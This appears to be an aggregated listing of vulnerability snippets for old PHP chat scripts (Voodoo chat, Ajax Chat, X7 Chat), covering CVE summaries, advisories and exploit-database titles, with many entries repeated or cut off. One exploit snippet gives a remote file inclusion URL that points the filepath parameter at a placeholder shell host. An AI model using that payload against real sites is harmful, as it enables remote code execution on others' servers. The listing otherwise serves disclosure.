CVE-2006-3991

PHP remote file inclusion vulnerability in index.php in Vlad Vostrykh Voodoo chat 1.0RC1b and earlier allows remote attackers to execute arbitrary PHP code via a URL in the filepath parameter...

CVE-2006-3991

CVE-2006-3991 is a PHP remote file inclusion vulnerability affecting Vlad Vostrykh Voodoo chat 1.0RC1b and earlier, allowing a remote attacker to execute arbitrary PHP code via the file_path parameter in index.php. The root cause is unvalidated user input in the file_path parameter leading to rem...

CVE-2006-3971

Cross-site scripting XSS vulnerability in visitor/livesupport/chat.php in Scott Weedon Ajax Chat, possibly 0.1, allows remote attackers to inject arbitrary web script or HTML via the userid parameter...

CVE-2006-3972

Directory traversal vulnerability in includes/operatorchattranscript.php in Scott Weedon Ajax Chat, possibly 0.1, allows remote attackers to read arbitrary files via a .. dot dot in the chatid parameter...

CVE-2006-3971

Cross-site scripting XSS vulnerability in visitor/livesupport/chat.php in Scott Weedon Ajax Chat, possibly 0.1, allows remote attackers to inject arbitrary web script or HTML via the userid parameter...

CVE-2006-3971

The CVE-2006-3971 entry describes a Cross-site scripting (XSS) vulnerability in Scott Weedon Ajax Chat, specifically in visitor/livesupport/chat.php, exploitable via the userid parameter. The vulnerability permits remote attackers to inject arbitrary web script/HTML. The NVD listing assigns a CVS...

CVE-2006-3972

The CVE-2006-3972 entry concerns the Scott Weedon Ajax Chat component (likely version 0.1) where a directory traversal flaw exists in includes/operator_chattranscript.php. An attacker can supply '..' in the chatid parameter to read arbitrary files, enabling partial confidentiality impact. The NVD...

[Full-disclosure] Ajax Chat Multiple Vulnerabilities

Discovered by Sirdarckcat from elhacker.net Ajax Chat http://www.pcdiscs.co.uk/chat/ ============================================== Ajax Chat is a web script for making an online chat based on PHP and AJAX. This has a Remote File Disclosure and a XSS bug...

CVE-2006-3972: Undefined Security Weakness

Directory traversal vulnerability in includes/operatorchattranscript.php in Scott Weedon Ajax Chat, possibly 0.1, allows remote attackers to read arbitrary files via a .. dot dot in the chatid parameter...

CVE-2006-3971: Undefined Security Weakness

Cross-site scripting XSS vulnerability in visitor/livesupport/chat.php in Scott Weedon Ajax Chat, possibly 0.1, allows remote attackers to inject arbitrary web script or HTML via the userid parameter...

Voodoo chat <= 1.0RC1b (file_path) Remote File Inclusion Vulnerability

No description provided by source. ================================================================= Voodoo chat 1.0RC1b = filepath Remote File Inclusion Exploit ================================================================ | Critical Level : Dangerous | | Venedor site : http://vochat.com/ | |...

Voodoo chat 1.0RC1b - file_path Remote File Inclusion

Voodoo chat 1.0RC1b - filepath Remote File Inclusion ================================================================= Voodoo chat 1.0RC1b ================================================================= Exploit : -------------------------------- http://sitename.com/Script...

Voodoo chat <= 1.0RC1b (file_path) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ====================================================================== Voodoo chat ================================================================= Exploit : -------------------------------- http://sitename.com/Script...

Voodoo chat 1.0RC1b - 'file_path' Remote File Inclusion

================================================================= Voodoo chat 1.0RC1b ================================================================= Exploit : -------------------------------- http://sitename.com/Script Path/index.php?filepath=http://SHELLURL.COM?...

Ajax Chat 0.1 - operator_chattranscript.php?chatid Traversal Arbitrary File Access

Ajax Chat 0.1 - operatorchattranscript.php?chatid Traversal Arbitrary File Access source: https://www.securityfocus.com/bid/19238/info AJAX Chat is prone to both a directory-traversal vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input...

Ajax Chat 0.1 - 'operator_chattranscript.php?chatid' Traversal Arbitrary File Access

source: https://www.securityfocus.com/bid/19238/info AJAX Chat is prone to both a directory-traversal vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit the directory-traversal issue to retrieve arbitrary files...

X7 Chat Server Detection

Binary data 3691.prm...

CVE-2006-3851

SQL injection vulnerability in upgradev1.php in X7 Chat 2.0.4 and earlier allows remote attackers to execute arbitrary SQL commands via the oldprefix parameter...

CVE-2006-3851

SQL injection vulnerability in upgradev1.php in X7 Chat 2.0.4 and earlier allows remote attackers to execute arbitrary SQL commands via the oldprefix parameter...

CVE-2006-3851

The CVE-2006-3851 entry covers an SQL injection in upgradev1.php for X7 Chat 2.0.4 and earlier, exploitable via the old_prefix parameter to execute arbitrary SQL commands remotely. Affected product: X7 Chat (PHP-based web chat). Root cause: improper sanitization of the old_prefix input before use...